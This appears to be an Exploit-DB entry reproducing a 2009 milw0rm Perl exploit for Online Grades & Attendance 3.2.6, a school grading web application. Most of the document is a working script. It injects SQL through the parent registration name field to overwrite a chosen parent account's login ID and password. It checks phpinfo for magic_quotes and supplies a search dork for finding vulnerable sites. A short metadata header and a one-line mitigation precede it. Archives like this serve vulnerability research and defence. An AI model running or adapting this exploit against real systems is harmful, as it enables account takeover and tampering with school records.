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vendor:
Online Grades & Attendance
by:
Anonymous
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Online Grades & Attendance
Affected Version From: 3.2.6
Affected Version To: 3.2.6
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

Post Form –> Parent Register (name) Credentials Changer (SQLi) EXPLOIT

Online Grades & Attendance is a web-based application for schools which is vulnerable to SQL Injection.

Mitigation:

Input validation and parameterized queries should be used to prevent SQL injection attacks.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  ¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       (Post Form --> Parent Register (name)) Credentials Changer (SQLi) EXPLOIT	      |
#|--------------------------------------------------------------------------------------------|
#|                           |    Online Grades & Attendance v-3.2.6   |		      |
#|  CMS INFORMATION:          -----------------------------------------	               	      |
#|										              |
#|-->WEB: http://www.onlinegrades.org/			          			      |
#|-->DOWNLOAD: http://www.onlinegrades.org/		                  		      |
#|-->DEMO: http://www.onlinegrades.org/demo_info					      |
#|-->CATEGORY: CMS / Education								      |
#|-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same      |
#|		features plus many new features. OG is a web based grade...		      |
#|-->RELEASED: 2009-02-05								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3						                      |
#|-->DORK: "Powered by Online Grades"						              |
#|-->CATEGORY: SQL INJECTION							              |
#|-->AFFECT VERSION: <= 3.2.6						 		      |
#|-->Discovered Bug date: 2009-05-21							      |
#|-->Reported Bug date: 2009-05-21							      |
#|-->Fixed bug date: Not fixed								      |
#|-->Info patch: Not fixed							              |
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#-----------------
#PRE-REQUIREMENTS
#-----------------
#
#Option --> Self Registration --> Allowed (Default value)
#
#-------
#NEED:
#-------
#
#Valid parent id
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#Register module (name) is vuln to sql injection.
#
#Full name --> y3nh4ck3r', id=1 ON DUPLICATE KEY UPDATE client_id='owned'#
#
#Other parameters --> something
#
#
#Return: Change client_id to 'owned' for parent id=1
#
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Online Grades Attendance v-3.2.6 (Credentials changer) Exploit");
		system ("color 02");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	if($_[2] eq "post"){
		$request = HTTP::Request -> new(POST => $_[0]);
		$request->referer($_[0]);
		$request->content_type('application/x-www-form-urlencoded');
		$request->content($_[1]);
	}else{
		$request = HTTP::Request -> new(GET => $_[0]);
	}
	my $outcode= $userag->request($request)->as_string;
	return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t--->Maybe:\n\n";
	print "\t\t1.-Patched.\n";
	print "\t\t2.-Bad path or host.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub errormagicquotes {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t\tRaison--> Magic quotes ON.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub helper {
	print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 (Credentials changer) Exploit\n";
	print "\t[!!!] USAGE MODE: [!!!]\n";
	print "\t[!!!] perl $0 [HOST] [PATH] [Email Address] [Password] [Target_id]\n";
	print "\t[!!!] [HOST]: Web.\n";
	print "\t[!!!] [PATH]: Home Path.\n";
	print "\t[!!!] [Email Address]: Set value\n";
	print "\t[!!!] [Password]: Set value\n";
	print "\t[!!!] [Target_id]: victim id\n";
	print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'y3nh4ck3r' 'y3nh4ck3r' '1' \n";
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##        Online Grades & Attendance <= v-3.2.6      ##\n\n";
print "\t##           (Credentials changer) Exploit           ##\n\n"; 
print "\t##         ++Conditions: magic_quotes=OFF            ##\n\n";
print "\t##         ++Needed: Valid parent id                 ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $client_id=$ARGV[2];
my $client_pw=$ARGV[3];
$numArgs = $#ARGV + 1;
if($numArgs<=3) 
	{
		&helper;
		exit(1);	
	}	
	if(!$ARGV[4]){
		$target_id=1;
	}else{
		$target_id=$ARGV[4];	
	}

#Build uri
my $finalhost="http://".$host."/".$path."/parents/register.php?action=register";
my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";
#sql injection	
$injection="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_id='".$values."'#";
$post="name=".$injection."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
$output=&request($phpinfo,0,'get');
if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<\/tr\>/)){
	&errormagicquotes;
	exit(1);
}
$injection_email="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_id='".$client_id."'#";
$post="name=".$injection_email."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
$output=&request($finalhost, $post, 'post');
$injection_pw="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_pw='".$client_pw."'#";
$post="name=".$injection_pw."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
$output=&request($finalhost, $post, 'post');
#processed
if($output!~(/\<strong\>ERROR\<\/strong\>/))
{  
		print "\n\t-----------------------------------------------------------------\n";
		print "\t--  EXPLOIT EXECUTED (Online Grades & Attendance <= v-3.2.6)   --\n";
		print "\t--                  (Credentials changer) Exploit              --\n";
		print "\t-----------------------------------------------------------------\n\n";
		print "\t\tParent credentials changed!\n\n";
		print "\t\tIf id doesn't exist, you add a new inconsistent user!\n\n";
		print "\n\t<<<<<<----------------------FINISH!---------------->>>>>>>>\n\n";
		print "\t<<<<<<--------------Thanks to: y3hn4ck3r------------>>>>>>>\n\n";
		print "\t<<<<<<-----------------------EOF-------------------->>>>>>>\n\n";
}else{
	&error;
}
exit(1);
#Ok...all job done

# milw0rm.com [2009-06-01]

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